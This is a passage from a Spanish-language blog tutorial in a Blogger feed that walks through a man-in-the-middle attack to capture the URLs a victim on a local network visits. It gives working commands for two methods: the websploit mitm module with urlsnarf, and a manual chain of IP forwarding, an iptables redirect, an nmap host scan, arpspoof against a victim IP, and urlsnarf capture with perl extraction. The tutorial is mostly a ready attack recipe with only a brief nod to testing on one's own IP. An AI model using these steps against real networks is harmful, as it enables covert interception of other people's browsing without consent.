&lt;li&gt;Ataques a partir de textos cifrados escogidos, en función de lo que el receptor haga con el mensaje descifrado.&lt;/li&gt;
&lt;li&gt;Ataques de sustitución.&lt;/li&gt;
&lt;li&gt;Ataques de repetición.&lt;/li&gt;
&lt;li&gt;Ataque por denegación de servicio (denial of service). El atacante podría, por ejemplo, bloquear las comunicaciones antes de atacar una de las partes. La defensa en ese caso pasa por el envío periódico de mensajes de status autenticados.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;&lt;a href=&quot;http://es.wikipedia.org/wiki/Ataque_Man-in-the-middle&quot; target=&quot;_blank&quot;&gt;Fuente : es.wikipedia.org&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Lo que nosotros vamos a realizar en este tutorial es un&amp;nbsp;&lt;b&gt;eavesdropping &lt;/b&gt;pero solo el analisis de trafico a nivel &quot;humano&quot; ya que podemos ver los datos en hex,pero aquí veremos las url directas.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Tutorial&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un nivel&amp;nbsp;&amp;nbsp;Script Kiddies(automatizando con herramientas existentes),es el siguiente:&lt;br /&gt;
&lt;br /&gt;
Usando &lt;b&gt;websploit&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Websploit nos probe una shell como la de Metasploit,como la que hice &lt;b&gt;&lt;a href=&quot;http://www.itimetux.com/2014/01/shell-como-ver-los-exif-de-una-imagen.html&quot; target=&quot;_blank&quot;&gt;para ver los exif de una imagen&lt;/a&gt;.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; Al ejecutar el programa:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;websploit&lt;/b&gt;&lt;/blockquote&gt;
Podemos ver la ayuda con help,al igual que metasploit cuenta con diferentes modulos,nosotros usaremos una para MitM:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;use network/mitm&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Vemos las opciones:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;show options&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Como vemos tenemos algunas opcines,vamos a setearlas:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;set interface &lt;span style=&quot;color: red;&quot;&gt;interfaz&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;set router &lt;span style=&quot;color: red;&quot;&gt;gateway&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;set target &lt;span style=&quot;color: red;&quot;&gt;ip_victima&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;set sniffer &lt;span style=&quot;color: red;&quot;&gt;urlsnarf&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En interfaz es la interfaz de nuestra red,si estamos por cable ethx,si estamos por wirless,wlanx.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En router ponemos la puerta enlace,para verla desde consola:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;netstat -nr&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div&gt;
En target ponemos la ip victima,podemos obtenerla haciendo un scan rango 24 con nmap al gateway:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;nmap -sP gateway/24&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
o podemos poner nuestra propia ip dinamica,para no molestar a alquien mas y hacer pruebas.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En sniffer ponemos&amp;nbsp;&lt;b&gt;urlsnarf&lt;/b&gt;,este programa nos mostrara las url que esta viendo la ip que asignamos en target.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3TD0pCzC-YkIjFIL70dTfSsp0NTOJ2EKyWM6lex6CBN_s9h5xMOhJt94HUrgovYX0o9q075toS1hVs2v2N1acXzS1hYB0BDF16PcY2xcGywuli9miaRFE8lLECzzbtL_NERhO2IMfUDkA/s1600/Screenshot+from+2014-02-12+19:13:07.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3TD0pCzC-YkIjFIL70dTfSsp0NTOJ2EKyWM6lex6CBN_s9h5xMOhJt94HUrgovYX0o9q075toS1hVs2v2N1acXzS1hYB0BDF16PcY2xcGywuli9miaRFE8lLECzzbtL_NERhO2IMfUDkA/s1600/Screenshot+from+2014-02-12+19:13:07.png&quot; height=&quot;268&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Ahora solo ejecutamos con:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;run&lt;/b&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Bien,con eso hacemos todos,cuendo comience a navegar el target nos mostrara las urls.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ahora un nivel mas bajo,teclear todo nosotros mismos para ver por lo menos como se hace esto:&lt;br /&gt;
&lt;br /&gt;
Primero que nada hacemos ip forward,en linux es tan facil como setear a uno la configuracion del archivo correspondiente:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Ahora tenemos que redirigir el trafico del puerto 80 basado en reglas de iptables,por ejemplo al puerto 8080:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080&lt;/b&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhU4BK2c3_dsmChDWOKaincpgxtdMlyZJIjgzlEkYa8P82PoBjL8MXwn9Nv-ck-4n_LoyHg74mYDKUMP3HBGUgcwM5Wg7HqCJO9EDs7SEU0iUKQdkZBAbokXHhDE1i7OnPElB8LsF1cm4OP/s1600/Screenshot+from+2014-02-12+18:56:42.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhU4BK2c3_dsmChDWOKaincpgxtdMlyZJIjgzlEkYa8P82PoBjL8MXwn9Nv-ck-4n_LoyHg74mYDKUMP3HBGUgcwM5Wg7HqCJO9EDs7SEU0iUKQdkZBAbokXHhDE1i7OnPElB8LsF1cm4OP/s1600/Screenshot+from+2014-02-12+18:56:42.png&quot; height=&quot;268&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Con eso esta listo el&amp;nbsp;enrutamiento.&lt;br /&gt;
&lt;br /&gt;
Ahora vamos a ver lo necesario,gateway y target:&lt;br /&gt;
&lt;br /&gt;
Gateway:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;route | sed -n &quot;3p&quot;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Targets:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;nmap -sP gateway/24 | grep --color for&lt;/b&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHHkkaTCMC0I3xYOPa038E-9nJ4OM09T0_nB5UhsEi63_GHmJYdifx6ZKT1OMq9YEtCZWngPhiPkYxraRy1l_7Zik1Ozm5hdi4rrBkr4ngucoqkOzjJ-lSKv6S_YHS5fuVE11cZZwAX7ii/s1600/Screenshot+from+2014-02-12+18:55:31.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHHkkaTCMC0I3xYOPa038E-9nJ4OM09T0_nB5UhsEi63_GHmJYdifx6ZKT1OMq9YEtCZWngPhiPkYxraRy1l_7Zik1Ozm5hdi4rrBkr4ngucoqkOzjJ-lSKv6S_YHS5fuVE11cZZwAX7ii/s1600/Screenshot+from+2014-02-12+18:55:31.png&quot; height=&quot;268&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Con eso tenemos la informacion necesaria.&lt;br /&gt;
&lt;br /&gt;
Ahora solo falta la suplantacion de &lt;a href=&quot;http://es.wikipedia.org/wiki/Address_Resolution_Protocol&quot; target=&quot;_blank&quot;&gt;ARP&lt;/a&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;arpspoof -i interfaz -t gateway ip_victima&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Lo podemos hacer dual para no errar.&lt;br /&gt;
&lt;br /&gt;
Ahora solo ejecutamos urlsnarf,para analizar las urls luego lo redirigiremos con un estándar de unix:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;urlsnarf -i interfaz &amp;nbsp;&amp;gt;&amp;gt; captura&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqBgKprVQpyWDftm-gt52Kb7EtESUZgs-8Gh1myZ2E5abDGsmF6qd3M26tYu0d3vVtOaT9kCC6sCMDQH4NMXNgVEzYZRC8H8n3FzClD8FlYnJ5VeD6QNLBTAhXvyusGhYSZ7xjpxUm0Spw/s1600/Screenshot+from+2014-02-12+18:59:07.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqBgKprVQpyWDftm-gt52Kb7EtESUZgs-8Gh1myZ2E5abDGsmF6qd3M26tYu0d3vVtOaT9kCC6sCMDQH4NMXNgVEzYZRC8H8n3FzClD8FlYnJ5VeD6QNLBTAhXvyusGhYSZ7xjpxUm0Spw/s1600/Screenshot+from+2014-02-12+18:59:07.png&quot; height=&quot;268&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&amp;nbsp;Para ver el resultado podemos hacerlo con cat,less,more:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;cat captura&lt;/b&gt;&lt;/blockquote&gt;
O podemos sacar las urls directamente con,una regex,por ejemplo con perl en una tuberia Unix:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghiCOsMzY9BX1DMS7JBFq31o8QlDfxO0om8nXtBTHXTCwcp0In3RvwV2OZYtDCH6sI4wwQXOfI4HAL2GJInEg40AvuuhOnJeI3ybZcCDmYLSyHHjwXX7_rtXu3NA2LLuz8jixfHNnvlBPK/s1600/Screenshot+from+2014-02-12+19:12:44.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghiCOsMzY9BX1DMS7JBFq31o8QlDfxO0om8nXtBTHXTCwcp0In3RvwV2OZYtDCH6sI4wwQXOfI4HAL2GJInEg40AvuuhOnJeI3ybZcCDmYLSyHHjwXX7_rtXu3NA2LLuz8jixfHNnvlBPK/s1600/Screenshot+from+2014-02-12+19:12:44.png&quot; height=&quot;268&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7raj9XIWQJ8Pyw9KV71oNM45Kn5UrGkeMtZK8RJiRbpkCtV2rIif5Z_4AM_FjAbi3FaVjt6xq2w6cJHrk2vz5stbXc33hWu5-cjGhvRfvCb0stXfY051_4CgP87nI_NL_vpc8fu4RsOrF/s1600/Screenshot+from+2014-02-12+19%253A11%253A52.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7raj9XIWQJ8Pyw9KV71oNM45Kn5UrGkeMtZK8RJiRbpkCtV2rIif5Z_4AM_FjAbi3FaVjt6xq2w6cJHrk2vz5stbXc33hWu5-cjGhvRfvCb0stXfY051_4CgP87nI_NL_vpc8fu4RsOrF/s1600/Screenshot+from+2014-02-12+19%253A11%253A52.png&quot; height=&quot;268&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;cat captura &amp;nbsp;| perl &amp;nbsp;-lane &#39;while ($_ =~ m/\&quot;(.+)\&quot;/ig){ print $1.&quot;\n&quot;}&#39; | grep --color http://&lt;/b&gt;&lt;/blockquote&gt;
Eso es todo.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px; text-align: center;&quot;&gt;
&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; color: red;&quot;&gt;Y recuerda si te&amp;nbsp;sirvió&amp;nbsp;y tienes cuenta de google dale google aya abajo&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px; text-align: center;&quot;&gt;
&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0F-9PQipz1RA9lbTOXdnbLHjNdfneDiMPiym1nCp9wkdXtAlDZqVG-fWvh_CTEAKVvQDiow-VwIpaJcQaS0-yhUcnztTVOAoCGQlXxIrewbCcwzf32jt2C3qyZ-qcgXDq4CYYpXXZHI/s1600/icon_plusone.gif&quot; imageanchor=&quot;1&quot; style=&quot;background-position: 0px 0px; box-sizing: border-box; color: #2a6496; margin-left: 1em; margin-right: 1em; outline: 0px;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0F-9PQipz1RA9lbTOXdnbLHjNdfneDiMPiym1nCp9wkdXtAlDZqVG-fWvh_CTEAKVvQDiow-VwIpaJcQaS0-yhUcnztTVOAoCGQlXxIrewbCcwzf32jt2C3qyZ-qcgXDq4CYYpXXZHI/s1600/icon_plusone.gif&quot; style=&quot;-webkit-box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; border: 1px solid rgb(237, 237, 237); box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; box-sizing: border-box; padding: 5px; position: relative; vertical-align: middle;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/1096678726403901990/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/02/kali-linux-efectuar-mitm-para-ver-urls.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/1096678726403901990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/1096678726403901990'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/02/kali-linux-efectuar-mitm-para-ver-urls.html' title='[Kali Linux] Efectuar MitM para ver urls'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3TD0pCzC-YkIjFIL70dTfSsp0NTOJ2EKyWM6lex6CBN_s9h5xMOhJt94HUrgovYX0o9q075toS1hVs2v2N1acXzS1hYB0BDF16PcY2xcGywuli9miaRFE8lLECzzbtL_NERhO2IMfUDkA/s72-c/Screenshot+from+2014-02-12+19:13:07.png" height="72" width="72"/><thr:total>0</thr:total></entry></feed>